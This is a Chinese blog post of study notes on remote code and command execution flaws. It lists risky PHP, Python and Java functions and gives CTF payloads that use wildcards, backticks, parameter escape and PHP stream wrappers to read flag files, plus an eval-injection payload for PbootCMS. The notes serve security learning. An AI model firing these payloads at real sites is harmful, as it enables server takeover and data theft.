RCE执行:代码执行-命令执行

代码执行:脚本执行代码
命令执行:脚本执行命令

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行

漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)

漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)

漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

#RCE-原理&探针&利用&危害等

举例:

<?php

//eval代码执行

eval(‘phpinfo();’);

//system命令执行

system(‘ipconfig’);

?>

-RCE代码执行:引用脚本代码解析执行

-RCE命令执行:脚本调用操作系统命令

漏洞函数:

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等

system、shell_exec、popen、passthru、proc_open等

2.Python:

eval exec subprocess os.system commands

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行

29-通配符

system(‘tac fla*.php’);

30-取代函数&通配符&管道符

`cp fla*.ph* 2.txt`; //注意到,反引号“ ` ` ”代表里面的内容是执行,好比使用了system命令,当system被过滤时可以考虑使用反引号。

echo shell_exec(‘tac fla*.ph*’);

31-参数逃逸 //比如代码对参数x过滤很严格,我们可以尝试构建新的参数来实现逃逸,如下代码:

eval($_GET[1]);&1=system(‘tac flag.php’); //高亮处是被过滤检查部分,我们实际使用的代码在另一处不被过滤实现逃逸。

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system(‘tac flag.php’);?>

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system(‘tac fla*’);?> //使用了伪协议

php://input post:<?php system(‘tac flag.php’);?>

#代码审计-PbootCMS-RCE代码执行 //白盒审计思路就是找到会产生RCE漏洞的特定函数,下面的笔记是借鉴迪总的,看课程的时候没有太理解,希望后期代码审计的时候可以更好的体会。

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content->构造

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

#层面-探针-语言&CMS框架&中间件:
rce漏洞不仅在源码出现,也会在跟配套程序中出现。跟别的WEB漏洞区别是,之前的WEB漏洞只有在网站上有,而RCE漏洞还会产生在中间件等其他地方

http://vulfocus.io/ Shiro weblogic

在下面的网站可以尝试利用payload

https://github.com/payloadbox/command-injection-payload-list

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注